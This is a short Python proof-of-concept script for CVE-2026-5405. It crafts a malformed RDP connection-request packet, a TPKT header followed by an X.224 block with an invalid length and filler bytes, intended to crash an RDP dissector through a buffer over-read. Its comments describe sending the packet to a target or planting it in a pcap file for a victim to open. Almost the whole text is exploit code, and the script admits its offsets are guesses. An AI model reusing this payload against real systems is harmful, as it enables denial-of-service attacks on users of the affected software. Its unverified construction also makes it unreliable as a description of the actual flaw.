The following code is for security research and authorized testing only.
python
import socket
import struct
# Conceptual PoC for CVE-2026-5405
# This script attempts to generate a malformed packet that triggers the RDP dissector crash.
# Note: Specific offsets and malformed data structure depend on the actual upstream patch.
def create_malformed_rdp_packet():
# RDP Connection Request PDU header structure
# TPKT Header (4 bytes): Version, Reserved, Length
tpkt_header = b"\x03\x00" + struct.pack(">H", 0x0010)
# X.224 Connection Request (variable)
# Intentionally setting an invalid length to trigger buffer over-read
x224_data = b"\xe0\x00\x00\x00" + b"A" * 100
return tpkt_header + x224_data
# In a real attack scenario, this packet would be sent to a target
# or saved to a pcap file which is then opened by the victim.
payload = create_malformed_rdp_packet()
print(f"Generated malformed payload length: {len(payload)}")